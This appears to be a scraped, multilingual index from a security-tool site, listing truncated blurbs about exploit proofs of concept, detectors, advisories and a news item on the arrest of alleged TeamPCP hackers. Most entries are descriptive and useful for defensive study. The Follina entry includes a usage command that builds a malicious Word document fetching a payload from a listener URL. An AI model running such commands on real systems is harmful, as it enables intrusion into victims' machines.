CVE-2022-3168-adb-unexpected-reverse-forwards

Die Reverse-Tunnel-Funktion in Android Debug Bridge adb war anfällig, da sie es bösartigen adb-Daemons erlaubte, Verbindungen zu beliebigen Hosts/Ports und Unix-Domain-Sockets auf dem Host zu öffnen. Fenster des Angreifers wo der schädliche Daemon läuft: root@kitploit: $ ./adbroguedaemon.py Fenst...

blind-xxe-controller-CVE-2021-29447

Controller per Blind XXE Ho creato questo controller per la macchina metatwo di HackTheBox per sfruttare CVE-2021-29447, una vulnerabilità XXE di WordPress nella libreria multimediale che colpisce le versioni 5.7, 5.6.2, 5.6.1, 5.6, 5.0.11. dove un utente autenticato con la possibilità di caricar...

CVE-2020-15916

EN GenLANConfigAttack - एक PoC है जो CVE-2020-15916 का शोषण करने के लिए है, एक ऐसी भेद्यता जो डिवाइस की LAN कॉन्फ़िगरेशन में अनधिकृत परिवर्तनों की अनुमति देती है। विशेषताएँ LAN कॉन्फ़िगरेशन भेद्यता का शोषण करता है नेटवर्क सेटिंग्स बदलने के लिए दुर्भावनापूर्ण पेलोड भेजता है LAN पर नियंत्रण पाने के...

2017-11-17-Maldoc-Using-CVE-2017-0199

Este repositorio nao tem um README...

Two Alleged ‘TeamPCP’ Hackers Arrested in Australia

Authorities in Australia have arrested two men believed to be members of TeamPCP , a prolific cybercrime and data extortion group blamed for perpetrating the longest running spree of software supply chain attacks ever. In a statement released today, the Australian Federal Police AFP said two men...

Malicious-URL-Detection-Open-Source

Erkennung bösartiger URLs – Open Source Wir haben bestehenden Open-Source-Code für die Erkennung bösartiger URLs gesammelt...

CVE-2026-81625

A remote attacker with user privileges may use a malicious or compromised NASL vulnerability test VT on the affected products to trigger a stack buffer overflow and gain full access on the compromised system...

ServiceCheater

ServiceCheater Poc of CVE-2020-0113 & CVE-2020-0108 Analyse der Berechtigungserweiterung durch Android-Vordergrunddienst Hintergrund der Schwachstelle Im AOSP-Patch vom August 2020 wurde eine Schwachstelle im AMS der Framework-Ebene offengelegt, nummeriert als CVE-2020-0108, mit hohem Schweregrad...

detections

detections Questa è una repository di informazioni che potrebbero essere utili per rilevare attività dannose nel proprio ambiente. Non è esaustiva e si prega di usarla a proprio rischio verificate i vostri risultati!...

RTF-Cleaner

RTF-Cleaner RTF Cleaner versucht, URLs aus schädlichen RTF-Beispielen unter Verwendung von CVE-2017-0199 & CVE-2017-8759 zu extrahieren...

EUVD-2026-66955

A remote attacker with user privileges may use a malicious or compromised NASL vulnerability test VT on the affected products to trigger a stack buffer overflow and gain full access on the compromised system...

androguard

Androguard Do you think your phone has been pwned ? please check IsMyPhonePwned New tool: Goauld Dynamic injection tool for Linux/Android See the new version of Androguard: https://github.com/androguard/androguard/tree/ng Installation Quick installation: root@kitploit: pip install androguard...

CVE-2026-3462

CVE-2026-3462 Adobe Acrobat Reader | تحكم غير صحيح في تعديل سمات كائن النموذج الأولي 'تلوث النموذج الأولي' CWE-1321 CVE-2026-34621 - مولد استغلال متقدم عبر المنصات =========================================================== يقوم بإنشاء ملف PDF خبيث يستغل ثغرة تلوث النموذج الأولي والهروب من بيئة...

CVE-2024-3660-PoC

CVE-2024-3660 – Esecuzione di codice arbitrario in TensorFlow Keras tramite modello malintenzionato Panoramica CVE-2024-3660 è una vulnerabilità di esecuzione di codice arbitrario nel framework Keras di TensorFlow che interessa le versioni \ --build-arg LPORT=YOUR-P...

adminer_CVE-2021-43008

CVE-2021-43008 — Adminer-Sicherheitslücke Beliebiges Dateilesen mittels bösartigem MySQL-Server 1. Was ist Adminer? Adminer ist ein Web-Tool PHP zur einfachen Verwaltung von MySQL-, PostgreSQL-, SQLite- oder SQL-Server-Datenbanken. Es wird häufig als leichte Alternative zu phpMyAdmin eingesetzt...

WebPort-v1.19.1-Reflected-XSS

WebPort-v1.19.1-Reflected-XSS XSS riflesso in WebPort-v1.19.1 colpisce gli utenti che aprono un link appositamente costruito o una pagina web di terze parti. CVE-2019-12460 https://vulners.com/cve/CVE-2019-12460 PoC-1 Per sfruttare la vulnerabilità, si potrebbe utilizzare una richiesta...

Follina-CVE-2022-30190-POC

Follina-CVE-2022-30190 Proof of Concept von Nee Verwendung root@kitploit: python3 follina.py --payload-url "http://192.168.200.144:1337/pwn.html" Was es macht Erstellt eine schädliche Word-Datei, die auf die von Ihnen angegebene Payload-URL verweist Hostet die Standard-Payload, die sich im...

LoHongCam-CVE-2021-33044

CVE-2021-33044 Exploit di bypass dell'autenticazione per dispositivi Dahua IPC/VTH/VTO Informazioni: La vulnerabilità di bypass dell'autenticazione dell'identità trovata in alcuni prodotti Dahua durante il processo di login. Gli attaccanti possono bypassare l'autenticazione dell'identità del...

Ashwesker-CVE-2026-21509

🛡️ CVE-2026-21509 — Zero-Day di Microsoft Office Stato: Sfruttata attivamente → Patch di emergenza rilasciata Gravità: 🔴 Alta Tipo di Rischio: Bypass delle Funzionalità di Sicurezza 🔍 Cos'è? CVE-2026-21509 è una grave vulnerabilità in Microsoft Office che consente agli attaccanti di bypassare le...

cve-2022-44268-detector

cve-2022-44268-detector - rileva PNG dannosi cve-2022-44268-detector è un programma Go che analizza PNG e segnala se sembrano essere immagini malevole generate da un exploit per CVE-2022-44268, una vulnerabilità di ImageMagick che consente agli attaccanti di leggere contenuti arbitrari di file...